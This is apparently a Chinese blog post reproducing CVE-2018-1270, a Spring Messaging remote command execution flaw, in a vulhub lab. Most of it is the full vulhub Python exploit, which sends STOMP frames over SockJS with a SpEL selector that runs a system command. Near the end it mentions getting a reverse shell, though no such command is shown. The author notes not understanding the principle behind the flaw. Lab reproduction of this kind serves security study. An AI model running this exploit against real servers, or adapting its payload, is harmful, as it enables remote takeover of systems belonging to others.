vulhub-Spring Messaging 远程命令执行漏洞（CVE-2018-1270）

https://vulhub.org/#/environments/spring/CVE-2018-1270/

根据官方的说法，应用的场景各不相同，官方的exp代码还是很容易看懂的

1、基础地址，在vulhub中为http://your-ip:8080/gs-guide-websocket
2、待执行的SpEL表达式，如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')
3、某一个订阅的地址，如vulhub中为：/topic/greetings
4、如何触发这个订阅，即如何让后端向这个订阅发送消息。在vulhub中，我们向/app/hello发送一个包含name的json，即可触发这个事件。当然在实战中就不同了，所以这个poc并不具有通用性。

粘贴上官方的exp

https://github.com/vulhub/vulhub/blob/master/spring/CVE-2018-1270/exploit.py

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)
    
    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
        
        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()


sockjs = SockJS('http://your-ip:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

运行起系统

无脑exp

反弹shell

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要说原理自己还真不太清晰，先做复现吧